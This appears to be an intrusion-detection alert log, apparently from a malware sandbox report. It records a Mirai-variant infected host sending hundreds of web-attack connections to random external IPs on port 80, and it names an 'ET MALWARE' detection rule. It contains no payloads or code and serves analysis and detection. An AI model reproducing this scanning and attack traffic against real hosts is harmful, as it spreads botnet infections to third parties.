2025-01-05T14:35:55.279855+0100	2030092	1	Web Application Attack	192.168.2.13	33178	210.136.115.249	80	TCP
2025-01-05T14:35:55.280852+0100	2030092	1	Web Application Attack	192.168.2.13	57656	148.204.24.211	80	TCP
2025-01-05T14:35:55.281482+0100	2030092	1	Web Application Attack	192.168.2.13	54948	5.94.43.67	80	TCP
2025-01-05T14:35:55.281542+0100	2030092	1	Web Application Attack	192.168.2.13	32818	31.10.232.31	80	TCP
2025-01-05T14:35:55.281601+0100	2030092	1	Web Application Attack	192.168.2.13	44434	105.242.15.54	80	TCP
2025-01-05T14:35:55.281982+0100	2030092	1	Web Application Attack	192.168.2.13	42066	166.182.227.233	80	TCP
2025-01-05T14:35:55.282576+0100	2030092	1	Web Application Attack	192.168.2.13	57274	59.25.206.107	80	TCP
2025-01-05T14:35:55.282919+0100	2030092	1	Web Application Attack	192.168.2.13	51618	82.251.219.225	80	TCP
2025-01-05T14:35:55.293482+0100	2030092	1	Web Application Attack	192.168.2.13	48798	217.105.221.176	80	TCP
2025-01-05T14:35:55.293604+0100	2030092	1	Web Application Attack	192.168.2.13	39958	17.95.41.188	80	TCP
2025-01-05T14:35:55.295170+0100	2030092	1	Web Application Attack	192.168.2.13	45820	44.12.73.52	80	TCP
2025-01-05T14:35:55.295306+0100	2030092	1	Web Application Attack	192.168.2.13	36040	190.187.20.193	80	TCP
2025-01-05T14:35:55.297270+0100	2030092	1	Web Application Attack	192.168.2.13	35280	38.125.109.201	80	TCP
2025-01-05T14:35:55.297428+0100	2030092	1	Web Application Attack	192.168.2.13	59888	142.145.105.166	80	TCP
2025-01-05T14:35:55.298925+0100	2030092	1	Web Application Attack	192.168.2.13	51660	86.213.143.207	80	TCP
2025-01-05T14:35:55.310868+0100	2030092	1	Web Application Attack	192.168.2.13	57916	154.23.91.191	80	TCP
2025-01-05T14:35:55.314537+0100	2030092	1	Web Application Attack	192.168.2.13	43048	220.142.123.71	80	TCP
2025-01-05T14:35:56.277823+0100	2030092	1	Web Application Attack	192.168.2.13	48306	43.72.124.75	80	TCP
2025-01-05T14:35:56.277933+0100	2030092	1	Web Application Attack	192.168.2.13	41714	78.64.142.87	80	TCP
2025-01-05T14:35:56.293350+0100	2030092	1	Web Application Attack	192.168.2.13	56108	63.33.95.195	80	TCP
2025-01-05T14:35:56.293399+0100	2030092	1	Web Application Attack	192.168.2.13	36068	191.129.227.138	80	TCP
2025-01-05T14:35:56.293511+0100	2030092	1	Web Application Attack	192.168.2.13	39342	122.114.105.168	80	TCP
2025-01-05T14:35:56.293521+0100	2030092	1	Web Application Attack	192.168.2.13	46154	69.56.147.184	80	TCP
2025-01-05T14:35:56.295097+0100	2030092	1	Web Application Attack	192.168.2.13	49396	182.20.15.57	80	TCP
2025-01-05T14:35:56.295200+0100	2030092	1	Web Application Attack	192.168.2.13	57708	177.15.115.7	80	TCP
2025-01-05T14:35:56.297148+0100	2030092	1	Web Application Attack	192.168.2.13	47182	207.55.47.103	80	TCP
2025-01-05T14:35:56.298924+0100	2030092	1	Web Application Attack	192.168.2.13	50714	74.138.142.166	80	TCP
2025-01-05T14:35:56.299016+0100	2030092	1	Web Application Attack	192.168.2.13	60462	190.171.60.42	80	TCP
2025-01-05T14:35:56.310919+0100	2030092	1	Web Application Attack	192.168.2.13	43518	80.50.4.147	80	TCP
2025-01-05T14:35:56.312042+0100	2030092	1	Web Application Attack	192.168.2.13	52734	129.74.236.141	80	TCP
2025-01-05T14:35:56.312789+0100	2030092	1	Web Application Attack	192.168.2.13	43530	159.173.13.136	80	TCP
2025-01-05T14:35:56.312900+0100	2030092	1	Web Application Attack	192.168.2.13	48874	113.132.44.233	80	TCP
2025-01-05T14:35:56.313860+0100	2030092	1	Web Application Attack	192.168.2.13	56994	133.12.185.19	80	TCP
2025-01-05T14:35:56.314564+0100	2030092	1	Web Application Attack	192.168.2.13	53868	69.171.204.160	80	TCP
2025-01-05T14:35:56.328414+0100	2030092	1	Web Application Attack	192.168.2.13	54544	106.132.35.216	80	TCP
2025-01-05T14:35:56.330085+0100	2030092	1	Web Application Attack	192.168.2.13	58282	52.55.32.196	80	TCP
2025-01-05T14:35:56.345935+0100	2030092	1	Web Application Attack	192.168.2.13	38540	23.90.35.124	80	TCP
2025-01-05T14:35:56.357545+0100	2030092	1	Web Application Attack	192.168.2.13	43792	191.248.99.145	80	TCP
2025-01-05T14:35:56.359777+0100	2030092	1	Web Application Attack	192.168.2.13	45078	217.125.133.181	80	TCP
2025-01-05T14:35:57.311211+0100	2030092	1	Web Application Attack	192.168.2.13	54482	14.194.140.247	80	TCP
2025-01-05T14:35:57.328441+0100	2030092	1	Web Application Attack	192.168.2.13	42330	76.122.103.243	80	TCP
2025-01-05T14:35:57.341942+0100	2030092	1	Web Application Attack	192.168.2.13	37502	14.57.113.146	80	TCP
2025-01-05T14:35:57.342006+0100	2030092	1	Web Application Attack	192.168.2.13	48330	116.169.77.248	80	TCP
2025-01-05T14:35:57.342068+0100	2030092	1	Web Application Attack	192.168.2.13	48976	62.55.40.5	80	TCP
2025-01-05T14:35:57.345066+0100	2030092	1	Web Application Attack	192.168.2.13	51590	174.17.36.83	80	TCP
2025-01-05T14:35:57.359699+0100	2030092	1	Web Application Attack	192.168.2.13	56674	128.216.185.75	80	TCP
2025-01-05T14:35:57.376315+0100	2030092	1	Web Application Attack	192.168.2.13	57376	197.255.186.143	80	TCP
2025-01-05T14:35:57.388950+0100	2030092	1	Web Application Attack	192.168.2.13	50456	200.199.70.134	80	TCP
2025-01-05T14:35:57.390963+0100	2030092	1	Web Application Attack	192.168.2.13	59986	155.30.238.213	80	TCP
2025-01-05T14:35:58.661914+0100	2030092	1	Web Application Attack	192.168.2.13	34194	23.200.252.97	80	TCP
2025-01-05T14:35:59.712530+0100	2030092	1	Web Application Attack	192.168.2.13	34082	98.82.154.184	80	TCP
2025-01-05T14:36:02.399216+0100	2030092	1	Web Application Attack	192.168.2.13	34594	61.50.174.153	80	TCP
2025-01-05T14:36:04.460954+0100	2030092	1	Web Application Attack	192.168.2.13	32876	168.176.45.40	80	TCP
2025-01-05T14:36:04.460960+0100	2030092	1	Web Application Attack	192.168.2.13	56334	24.127.77.33	80	TCP
2025-01-05T14:36:04.460974+0100	2030092	1	Web Application Attack	192.168.2.13	43870	95.162.224.10	80	TCP
2025-01-05T14:36:05.418622+0100	2030092	1	Web Application Attack	192.168.2.13	55368	181.151.176.24	80	TCP
2025-01-05T14:36:05.418675+0100	2030092	1	Web Application Attack	192.168.2.13	35760	183.20.125.180	80	TCP
2025-01-05T14:36:05.418742+0100	2030092	1	Web Application Attack	192.168.2.13	42738	129.33.240.133	80	TCP
2025-01-05T14:36:05.418819+0100	2030092	1	Web Application Attack	192.168.2.13	54906	170.253.255.46	80	TCP
2025-01-05T14:36:05.418930+0100	2030092	1	Web Application Attack	192.168.2.13	43824	134.200.140.118	80	TCP
2025-01-05T14:36:05.419285+0100	2030092	1	Web Application Attack	192.168.2.13	55822	142.21.112.212	80	TCP
2025-01-05T14:36:05.419470+0100	2030092	1	Web Application Attack	192.168.2.13	50598	177.176.193.203	80	TCP
2025-01-05T14:36:05.419543+0100	2030092	1	Web Application Attack	192.168.2.13	56564	52.242.215.29	80	TCP
2025-01-05T14:36:05.420585+0100	2030092	1	Web Application Attack	192.168.2.13	43168	84.164.44.30	80	TCP
2025-01-05T14:36:05.421589+0100	2030092	1	Web Application Attack	192.168.2.13	40354	39.26.19.73	80	TCP
2025-01-05T14:36:05.422282+0100	2030092	1	Web Application Attack	192.168.2.13	42114	205.57.211.124	80	TCP
2025-01-05T14:36:05.422378+0100	2030092	1	Web Application Attack	192.168.2.13	45242	150.195.116.7	80	TCP
2025-01-05T14:36:05.434020+0100	2030092	1	Web Application Attack	192.168.2.13	53178	182.137.133.161	80	TCP
2025-01-05T14:36:05.434111+0100	2030092	1	Web Application Attack	192.168.2.13	47512	152.81.152.107	80	TCP
2025-01-05T14:36:05.434193+0100	2030092	1	Web Application Attack	192.168.2.13	47966	40.7.115.247	80	TCP
2025-01-05T14:36:05.434298+0100	2030092	1	Web Application Attack	192.168.2.13	35636	17.107.151.80	80	TCP
2025-01-05T14:36:05.434352+0100	2030092	1	Web Application Attack	192.168.2.13	36426	114.96.2.1	80	TCP
2025-01-05T14:36:05.434468+0100	2030092	1	Web Application Attack	192.168.2.13	55282	185.118.15.54	80	TCP
2025-01-05T14:36:05.434845+0100	2030092	1	Web Application Attack	192.168.2.13	37952	173.25.167.237	80	TCP
2025-01-05T14:36:05.435895+0100	2030092	1	Web Application Attack	192.168.2.13	51998	74.67.247.149	80	TCP
2025-01-05T14:36:05.436137+0100	2030092	1	Web Application Attack	192.168.2.13	47082	46.226.115.247	80	TCP
2025-01-05T14:36:05.437890+0100	2030092	1	Web Application Attack	192.168.2.13	56354	216.18.220.57	80	TCP
2025-01-05T14:36:05.437991+0100	2030092	1	Web Application Attack	192.168.2.13	33752	118.98.158.37	80	TCP
2025-01-05T14:36:05.438191+0100	2030092	1	Web Application Attack	192.168.2.13	57712	36.78.158.73	80	TCP
2025-01-05T14:36:05.438283+0100	2030092	1	Web Application Attack	192.168.2.13	57654	13.26.194.107	80	TCP
2025-01-05T14:36:05.439644+0100	2030092	1	Web Application Attack	192.168.2.13	45170	148.170.111.230	80	TCP
2025-01-05T14:36:05.439905+0100	2030092	1	Web Application Attack	192.168.2.13	34696	65.244.161.208	80	TCP
2025-01-05T14:36:06.418663+0100	2030092	1	Web Application Attack	192.168.2.13	56360	82.5.45.203	80	TCP
2025-01-05T14:36:06.437979+0100	2030092	1	Web Application Attack	192.168.2.13	46786	98.186.118.227	80	TCP
2025-01-05T14:36:06.468470+0100	2030092	1	Web Application Attack	192.168.2.13	34314	104.167.193.84	80	TCP
2025-01-05T14:36:06.481777+0100	2030092	1	Web Application Attack	192.168.2.13	36658	139.125.236.27	80	TCP
2025-01-05T14:36:06.484907+0100	2030092	1	Web Application Attack	192.168.2.13	45282	197.198.246.148	80	TCP
2025-01-05T14:36:06.486646+0100	2030092	1	Web Application Attack	192.168.2.13	55700	223.123.27.125	80	TCP
2025-01-05T14:36:08.058607+0100	2030092	1	Web Application Attack	192.168.2.13	41858	97.119.59.56	80	TCP
2025-01-05T14:36:08.058628+0100	2030092	1	Web Application Attack	192.168.2.13	59996	199.72.216.99	80	TCP
2025-01-05T14:36:08.058628+0100	2030092	1	Web Application Attack	192.168.2.13	54614	147.111.190.115	80	TCP
2025-01-05T14:36:08.058632+0100	2030092	1	Web Application Attack	192.168.2.13	60170	79.191.90.55	80	TCP
2025-01-05T14:36:08.058635+0100	2030092	1	Web Application Attack	192.168.2.13	51178	48.246.175.236	80	TCP
2025-01-05T14:36:08.481884+0100	2030092	1	Web Application Attack	192.168.2.13	36028	98.40.140.90	80	TCP
2025-01-05T14:36:08.481888+0100	2030092	1	Web Application Attack	192.168.2.13	57690	111.90.68.45	80	TCP
2025-01-05T14:36:08.501508+0100	2030092	1	Web Application Attack	192.168.2.13	32790	150.29.238.137	80	TCP
2025-01-05T14:36:09.637457+0100	2030092	1	Web Application Attack	192.168.2.13	55048	53.49.47.153	80	TCP
2025-01-05T14:36:09.637570+0100	2030092	1	Web Application Attack	192.168.2.13	38740	165.232.39.228	80	TCP
2025-01-05T14:36:09.638007+0100	2030092	1	Web Application Attack	192.168.2.13	34284	77.72.164.117	80	TCP
2025-01-05T14:36:09.638611+0100	2030092	1	Web Application Attack	192.168.2.13	38574	61.142.114.59	80	TCP
2025-01-05T14:36:09.638988+0100	2030092	1	Web Application Attack	192.168.2.13	48756	64.15.51.248	80	TCP
2025-01-05T14:36:09.639628+0100	2030092	1	Web Application Attack	192.168.2.13	48650	148.151.203.199	80	TCP
2025-01-05T14:36:09.639945+0100	2030092	1	Web Application Attack	192.168.2.13	53516	13.193.26.3	80	TCP
2025-01-05T14:36:09.640201+0100	2030092	1	Web Application Attack	192.168.2.13	55324	125.63.81.27	80	TCP
2025-01-05T14:36:09.640276+0100	2030092	1	Web Application Attack	192.168.2.13	56762	152.233.197.107	80	TCP
2025-01-05T14:36:09.640404+0100	2030092	1	Web Application Attack	192.168.2.13	36006	25.233.253.185	80	TCP
2025-01-05T14:36:09.641152+0100	2030092	1	Web Application Attack	192.168.2.13	34608	132.235.83.114	80	TCP
2025-01-05T14:36:09.641498+0100	2030092	1	Web Application Attack	192.168.2.13	41604	150.59.144.52	80	TCP
2025-01-05T14:36:09.641500+0100	2030092	1	Web Application Attack	192.168.2.13	49324	117.252.43.150	80	TCP
2025-01-05T14:36:09.641656+0100	2030092	1	Web Application Attack	192.168.2.13	56918	59.209.179.128	80	TCP
2025-01-05T14:36:09.641663+0100	2030092	1	Web Application Attack	192.168.2.13	51390	19.98.112.70	80	TCP
2025-01-05T14:36:09.641749+0100	2030092	1	Web Application Attack	192.168.2.13	41340	111.148.16.81	80	TCP
2025-01-05T14:36:09.641881+0100	2030092	1	Web Application Attack	192.168.2.13	57024	77.212.112.245	80	TCP
2025-01-05T14:36:09.641957+0100	2030092	1	Web Application Attack	192.168.2.13	48868	34.70.3.33	80	TCP
2025-01-05T14:36:09.642070+0100	2030092	1	Web Application Attack	192.168.2.13	35348	198.166.209.189	80	TCP
2025-01-05T14:36:09.642432+0100	2030092	1	Web Application Attack	192.168.2.13	60742	72.209.166.180	80	TCP
2025-01-05T14:36:09.642653+0100	2030092	1	Web Application Attack	192.168.2.13	58592	129.167.14.175	80	TCP
2025-01-05T14:36:09.642862+0100	2030092	1	Web Application Attack	192.168.2.13	52338	32.38.93.194	80	TCP
2025-01-05T14:36:09.644286+0100	2030092	1	Web Application Attack	192.168.2.13	42512	213.71.44.84	80	TCP
2025-01-05T14:36:09.652895+0100	2030092	1	Web Application Attack	192.168.2.13	43592	155.40.195.24	80	TCP
2025-01-05T14:36:09.653168+0100	2030092	1	Web Application Attack	192.168.2.13	39488	76.255.220.226	80	TCP
2025-01-05T14:36:09.653570+0100	2030092	1	Web Application Attack	192.168.2.13	43240	60.38.175.172	80	TCP
2025-01-05T14:36:09.654629+0100	2030092	1	Web Application Attack	192.168.2.13	46806	133.100.155.130	80	TCP
2025-01-05T14:36:09.654854+0100	2030092	1	Web Application Attack	192.168.2.13	37892	220.210.27.226	80	TCP
2025-01-05T14:36:09.654894+0100	2030092	1	Web Application Attack	192.168.2.13	34052	147.170.184.87	80	TCP
2025-01-05T14:36:09.654993+0100	2030092	1	Web Application Attack	192.168.2.13	33590	169.85.118.126	80	TCP
2025-01-05T14:36:09.656101+0100	2030092	1	Web Application Attack	192.168.2.13	53826	44.211.10.64	80	TCP
2025-01-05T14:36:09.656221+0100	2030092	1	Web Application Attack	192.168.2.13	55294	120.251.42.119	80	TCP
2025-01-05T14:36:09.658675+0100	2030092	1	Web Application Attack	192.168.2.13	45954	162.201.75.195	80	TCP
2025-01-05T14:36:09.658740+0100	2030092	1	Web Application Attack	192.168.2.13	42842	158.4.53.120	80	TCP
2025-01-05T14:36:09.672353+0100	2030092	1	Web Application Attack	192.168.2.13	35058	136.231.233.168	80	TCP
2025-01-05T14:36:10.481177+0100	2030092	1	Web Application Attack	192.168.2.13	59590	137.1.211.177	80	TCP
2025-01-05T14:36:10.496650+0100	2030092	1	Web Application Attack	192.168.2.13	56610	79.247.85.196	80	TCP
2025-01-05T14:36:10.512317+0100	2030092	1	Web Application Attack	192.168.2.13	55914	186.162.247.66	80	TCP
2025-01-05T14:36:10.512494+0100	2030092	1	Web Application Attack	192.168.2.13	55282	80.0.144.14	80	TCP
2025-01-05T14:36:10.512620+0100	2030092	1	Web Application Attack	192.168.2.13	42708	165.29.73.33	80	TCP
2025-01-05T14:36:10.512811+0100	2030092	1	Web Application Attack	192.168.2.13	59414	197.128.78.88	80	TCP
2025-01-05T14:36:10.513939+0100	2030092	1	Web Application Attack	192.168.2.13	49186	188.78.49.50	80	TCP
2025-01-05T14:36:10.514154+0100	2030092	1	Web Application Attack	192.168.2.13	41112	126.156.202.22	80	TCP
2025-01-05T14:36:10.514160+0100	2030092	1	Web Application Attack	192.168.2.13	40178	196.35.69.85	80	TCP
2025-01-05T14:36:10.514529+0100	2030092	1	Web Application Attack	192.168.2.13	57266	98.29.107.71	80	TCP
2025-01-05T14:36:10.516123+0100	2030092	1	Web Application Attack	192.168.2.13	38378	39.145.47.230	80	TCP
2025-01-05T14:36:10.517965+0100	2030092	1	Web Application Attack	192.168.2.13	48468	136.236.170.18	80	TCP
2025-01-05T14:36:10.518076+0100	2030092	1	Web Application Attack	192.168.2.13	53094	205.179.188.181	80	TCP
2025-01-05T14:36:10.518164+0100	2030092	1	Web Application Attack	192.168.2.13	57874	126.137.148.235	80	TCP
2025-01-05T14:36:10.518229+0100	2030092	1	Web Application Attack	192.168.2.13	55248	85.177.89.44	80	TCP
2025-01-05T14:36:10.639639+0100	2030092	1	Web Application Attack	192.168.2.13	38358	38.37.142.78	80	TCP
2025-01-05T14:36:11.673598+0100	2030092	1	Web Application Attack	192.168.2.13	38758	119.239.201.91	80	TCP
2025-01-05T14:36:13.606130+0100	2030092	1	Web Application Attack	192.168.2.13	42596	166.129.65.124	80	TCP
2025-01-05T14:36:13.606318+0100	2030092	1	Web Application Attack	192.168.2.13	58400	121.120.245.151	80	TCP
2025-01-05T14:36:19.668986+0100	2030092	1	Web Application Attack	192.168.2.13	58494	91.163.226.102	80	TCP
2025-01-05T14:36:19.668986+0100	2030092	1	Web Application Attack	192.168.2.13	53836	221.31.107.209	80	TCP
2025-01-05T14:36:19.684514+0100	2030092	1	Web Application Attack	192.168.2.13	40412	66.143.132.37	80	TCP
2025-01-05T14:36:19.688207+0100	2030092	1	Web Application Attack	192.168.2.13	57714	64.179.90.157	80	TCP
2025-01-05T14:36:19.690109+0100	2030092	1	Web Application Attack	192.168.2.13	41484	39.178.32.141	80	TCP
2025-01-05T14:36:20.684425+0100	2030092	1	Web Application Attack	192.168.2.13	35950	106.148.168.102	80	TCP
2025-01-05T14:36:20.684460+0100	2030092	1	Web Application Attack	192.168.2.13	50556	175.207.12.51	80	TCP
2025-01-05T14:36:20.684518+0100	2030092	1	Web Application Attack	192.168.2.13	56140	48.119.204.154	80	TCP
2025-01-05T14:36:20.684576+0100	2030092	1	Web Application Attack	192.168.2.13	38740	206.233.1.190	80	TCP
2025-01-05T14:36:20.684643+0100	2030092	1	Web Application Attack	192.168.2.13	51212	150.125.213.121	80	TCP
2025-01-05T14:36:20.684690+0100	2030092	1	Web Application Attack	192.168.2.13	55426	182.71.202.116	80	TCP
2025-01-05T14:36:20.684765+0100	2030092	1	Web Application Attack	192.168.2.13	49814	13.59.213.34	80	TCP
2025-01-05T14:36:20.684832+0100	2030092	1	Web Application Attack	192.168.2.13	57082	179.208.243.62	80	TCP
2025-01-05T14:36:20.684997+0100	2030092	1	Web Application Attack	192.168.2.13	54102	125.172.148.134	80	TCP
2025-01-05T14:36:20.685004+0100	2030092	1	Web Application Attack	192.168.2.13	54178	19.184.72.129	80	TCP
2025-01-05T14:36:20.685150+0100	2030092	1	Web Application Attack	192.168.2.13	50530	147.77.255.242	80	TCP
2025-01-05T14:36:20.686137+0100	2030092	1	Web Application Attack	192.168.2.13	53074	204.237.62.195	80	TCP
2025-01-05T14:36:20.686266+0100	2030092	1	Web Application Attack	192.168.2.13	46288	189.208.66.61	80	TCP
2025-01-05T14:36:20.688425+0100	2030092	1	Web Application Attack	192.168.2.13	49730	116.253.42.136	80	TCP
2025-01-05T14:36:20.690046+0100	2030092	1	Web Application Attack	192.168.2.13	39678	161.87.135.110	80	TCP
2025-01-05T14:36:20.690353+0100	2030092	1	Web Application Attack	192.168.2.13	42852	8.5.2.186	80	TCP
2025-01-05T14:36:20.705627+0100	2030092	1	Web Application Attack	192.168.2.13	57136	142.71.212.238	80	TCP
2025-01-05T14:36:20.721234+0100	2030092	1	Web Application Attack	192.168.2.13	48018	48.170.89.180	80	TCP
2025-01-05T14:36:20.736091+0100	2030092	1	Web Application Attack	192.168.2.13	55116	112.220.91.212	80	TCP
2025-01-05T14:36:21.727413+0100	2030092	1	Web Application Attack	192.168.2.13	60218	38.39.141.232	80	TCP
2025-01-05T14:36:21.727416+0100	2030092	1	Web Application Attack	192.168.2.13	33996	152.61.141.149	80	TCP
2025-01-05T14:36:21.727432+0100	2030092	1	Web Application Attack	192.168.2.13	52036	142.173.11.252	80	TCP
2025-01-05T14:36:21.727434+0100	2030092	1	Web Application Attack	192.168.2.13	49808	205.176.65.230	80	TCP
2025-01-05T14:36:21.727434+0100	2030092	1	Web Application Attack	192.168.2.13	47722	218.163.235.80	80	TCP
2025-01-05T14:36:21.727444+0100	2030092	1	Web Application Attack	192.168.2.13	54320	133.253.162.207	80	TCP
2025-01-05T14:36:21.727444+0100	2030092	1	Web Application Attack	192.168.2.13	42926	80.11.167.73	80	TCP
2025-01-05T14:36:21.727447+0100	2030092	1	Web Application Attack	192.168.2.13	38684	90.104.159.94	80	TCP
2025-01-05T14:36:21.727450+0100	2030092	1	Web Application Attack	192.168.2.13	54852	130.140.175.34	80	TCP
2025-01-05T14:36:21.727458+0100	2030092	1	Web Application Attack	192.168.2.13	57972	78.89.88.148	80	TCP
2025-01-05T14:36:22.509775+0100	2030092	1	Web Application Attack	192.168.2.13	54346	217.60.4.70	80	TCP
2025-01-05T14:36:22.715734+0100	2030092	1	Web Application Attack	192.168.2.13	51536	49.184.211.107	80	TCP
2025-01-05T14:36:22.715787+0100	2030092	1	Web Application Attack	192.168.2.13	50380	52.125.252.133	80	TCP
2025-01-05T14:36:22.715880+0100	2030092	1	Web Application Attack	192.168.2.13	44508	92.118.200.30	80	TCP
2025-01-05T14:36:22.715971+0100	2030092	1	Web Application Attack	192.168.2.13	60978	216.53.14.97	80	TCP
2025-01-05T14:36:22.716044+0100	2030092	1	Web Application Attack	192.168.2.13	39108	130.70.110.215	80	TCP
2025-01-05T14:36:22.720426+0100	2030092	1	Web Application Attack	192.168.2.13	35578	126.133.2.89	80	TCP
2025-01-05T14:36:22.721482+0100	2030092	1	Web Application Attack	192.168.2.13	56232	130.242.236.67	80	TCP
2025-01-05T14:36:22.731587+0100	2030092	1	Web Application Attack	192.168.2.13	51068	86.25.41.35	80	TCP
2025-01-05T14:36:22.731742+0100	2030092	1	Web Application Attack	192.168.2.13	43536	58.35.162.105	80	TCP
2025-01-05T14:36:22.732111+0100	2030092	1	Web Application Attack	192.168.2.13	45038	95.138.70.178	80	TCP
2025-01-05T14:36:22.732984+0100	2030092	1	Web Application Attack	192.168.2.13	35592	202.249.159.55	80	TCP
2025-01-05T14:36:22.733142+0100	2030092	1	Web Application Attack	192.168.2.13	36424	161.198.210.209	80	TCP
2025-01-05T14:36:22.733339+0100	2030092	1	Web Application Attack	192.168.2.13	59716	114.165.65.37	80	TCP
2025-01-05T14:36:22.733393+0100	2030092	1	Web Application Attack	192.168.2.13	53222	34.198.195.202	80	TCP
2025-01-05T14:36:22.735144+0100	2030092	1	Web Application Attack	192.168.2.13	43764	149.32.171.176	80	TCP
2025-01-05T14:36:22.735225+0100	2030092	1	Web Application Attack	192.168.2.13	47506	213.212.154.140	80	TCP
2025-01-05T14:36:22.736886+0100	2030092	1	Web Application Attack	192.168.2.13	36142	112.86.48.170	80	TCP
2025-01-05T14:36:22.736940+0100	2030092	1	Web Application Attack	192.168.2.13	60800	113.27.221.206	80	TCP
2025-01-05T14:36:22.747791+0100	2030092	1	Web Application Attack	192.168.2.13	39740	106.16.125.129	80	TCP
2025-01-05T14:36:22.762600+0100	2030092	1	Web Application Attack	192.168.2.13	47934	183.9.238.50	80	TCP
2025-01-05T14:36:23.269438+0100	2030092	1	Web Application Attack	192.168.2.13	33314	23.216.156.216	80	TCP
2025-01-05T14:36:23.700223+0100	2030092	1	Web Application Attack	192.168.2.13	58598	102.99.86.117	80	TCP
2025-01-05T14:36:24.762502+0100	2030092	1	Web Application Attack	192.168.2.13	34150	189.61.14.125	80	TCP
2025-01-05T14:36:26.747854+0100	2030092	1	Web Application Attack	192.168.2.13	60536	45.32.132.210	80	TCP
2025-01-05T14:36:26.809499+0100	2030092	1	Web Application Attack	192.168.2.13	32822	182.191.143.241	80	TCP
2025-01-05T14:36:26.811591+0100	2030092	1	Web Application Attack	192.168.2.13	58140	31.143.102.164	80	TCP
2025-01-05T14:36:26.815166+0100	2030092	1	Web Application Attack	192.168.2.13	42608	77.112.7.59	80	TCP
2025-01-05T14:36:26.829013+0100	2030092	1	Web Application Attack	192.168.2.13	36550	126.219.116.33	80	TCP
2025-01-05T14:36:27.259686+0100	2030092	1	Web Application Attack	192.168.2.13	34774	23.216.20.11	80	TCP
2025-01-05T14:36:27.762751+0100	2030092	1	Web Application Attack	192.168.2.13	37928	84.27.175.6	80	TCP
2025-01-05T14:36:27.780769+0100	2030092	1	Web Application Attack	192.168.2.13	56486	88.64.116.168	80	TCP
2025-01-05T14:36:27.780917+0100	2030092	1	Web Application Attack	192.168.2.13	40416	129.89.187.14	80	TCP
2025-01-05T14:36:27.780932+0100	2030092	1	Web Application Attack	192.168.2.13	56748	149.180.166.162	80	TCP
2025-01-05T14:36:27.794065+0100	2030092	1	Web Application Attack	192.168.2.13	59596	154.131.102.164	80	TCP
2025-01-05T14:36:27.794565+0100	2030092	1	Web Application Attack	192.168.2.13	37928	176.108.10.80	80	TCP
2025-01-05T14:36:27.794907+0100	2030092	1	Web Application Attack	192.168.2.13	48372	76.47.229.222	80	TCP
2025-01-05T14:36:27.799071+0100	2030092	1	Web Application Attack	192.168.2.13	50084	166.233.6.250	80	TCP
2025-01-05T14:36:27.800224+0100	2030092	1	Web Application Attack	192.168.2.13	57110	190.145.215.85	80	TCP
2025-01-05T14:36:27.810568+0100	2030092	1	Web Application Attack	192.168.2.13	36440	72.197.110.224	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T14:34:55.953354+0100	2029034	1	Web Application Attack	192.168.2.13	41778	120.75.215.22	80	TCP
2025-01-05T14:34:56.278392+0100	2029034	1	Web Application Attack	192.168.2.13	35082	23.224.32.45	80	TCP
2025-01-05T14:34:58.573590+0100	2029034	1	Web Application Attack	192.168.2.13	40822	20.206.193.222	80	TCP
2025-01-05T14:34:59.276145+0100	2029034	1	Web Application Attack	192.168.2.13	60980	149.218.144.175	80	TCP
2025-01-05T14:34:59.284135+0100	2029034	1	Web Application Attack	192.168.2.13	53112	107.209.39.169	80	TCP
2025-01-05T14:35:02.964667+0100	2029034	1	Web Application Attack	192.168.2.13	37194	118.159.189.29	80	TCP
2025-01-05T14:35:05.006053+0100	2029034	1	Web Application Attack	192.168.2.13	53856	184.27.73.98	80	TCP
2025-01-05T14:35:05.612136+0100	2029034	1	Web Application Attack	192.168.2.13	59770	23.174.63.21	80	TCP
2025-01-05T14:35:05.968339+0100	2029034	1	Web Application Attack	192.168.2.13	60546	88.151.11.104	80	TCP
2025-01-05T14:35:07.448092+0100	2029034	1	Web Application Attack	192.168.2.13	39564	198.200.38.184	80	TCP
2025-01-05T14:35:12.466925+0100	2029034	1	Web Application Attack	192.168.2.13	53556	38.199.147.182	80	TCP
2025-01-05T14:35:14.137305+0100	2029034	1	Web Application Attack	192.168.2.13	38054	102.228.238.136	80	TCP
2025-01-05T14:35:14.183462+0100	2029034	1	Web Application Attack	192.168.2.13	40792	19.186.177.83	80	TCP
2025-01-05T14:35:14.187047+0100	2029034	1	Web Application Attack	192.168.2.13	51812	169.129.160.250	80	TCP
2025-01-05T14:35:14.230309+0100	2029034	1	Web Application Attack	192.168.2.13	50644	167.80.67.59	80	TCP
2025-01-05T14:35:14.231855+0100	2029034	1	Web Application Attack	192.168.2.13	46086	160.116.38.154	80	TCP
2025-01-05T14:35:14.245681+0100	2029034	1	Web Application Attack	192.168.2.13	47258	191.71.162.219	80	TCP
2025-01-05T14:35:14.261454+0100	2029034	1	Web Application Attack	192.168.2.13	54932	196.192.115.255	80	TCP
2025-01-05T14:35:14.292630+0100	2029034	1	Web Application Attack	192.168.2.13	57274	154.179.240.225	80	TCP
2025-01-05T14:35:14.294421+0100	2029034	1	Web Application Attack	192.168.2.13	49294	172.222.47.240	80	TCP
2025-01-05T14:35:14.370851+0100	2029034	1	Web Application Attack	192.168.2.13	50742	186.171.85.18	80	TCP
2025-01-05T14:35:14.372513+0100	2029034	1	Web Application Attack	192.168.2.13	47698	125.253.31.3	80	TCP
2025-01-05T14:35:14.439102+0100	2029034	1	Web Application Attack	192.168.2.13	51310	86.6.121.248	80	TCP
2025-01-05T14:35:15.106021+0100	2029034	1	Web Application Attack	192.168.2.13	43754	75.150.125.115	80	TCP
2025-01-05T14:35:15.314744+0100	2029034	1	Web Application Attack	192.168.2.13	55374	122.134.154.13	80	TCP
2025-01-05T14:35:15.314753+0100	2029034	1	Web Application Attack	192.168.2.13	34234	105.76.238.137	80	TCP
2025-01-05T14:35:15.314753+0100	2029034	1	Web Application Attack	192.168.2.13	44760	67.218.1.210	80	TCP
2025-01-05T14:35:15.314754+0100	2029034	1	Web Application Attack	192.168.2.13	35174	148.26.74.211	80	TCP
2025-01-05T14:35:15.314802+0100	2029034	1	Web Application Attack	192.168.2.13	47658	132.86.162.206	80	TCP
2025-01-05T14:35:15.314890+0100	2029034	1	Web Application Attack	192.168.2.13	42640	2.208.165.87	80	TCP
2025-01-05T14:35:15.314897+0100	2029034	1	Web Application Attack	192.168.2.13	57548	91.43.249.211	80	TCP
2025-01-05T14:35:15.314943+0100	2029034	1	Web Application Attack	192.168.2.13	58414	165.35.35.169	80	TCP
2025-01-05T14:35:15.314992+0100	2029034	1	Web Application Attack	192.168.2.13	51856	183.180.216.81	80	TCP
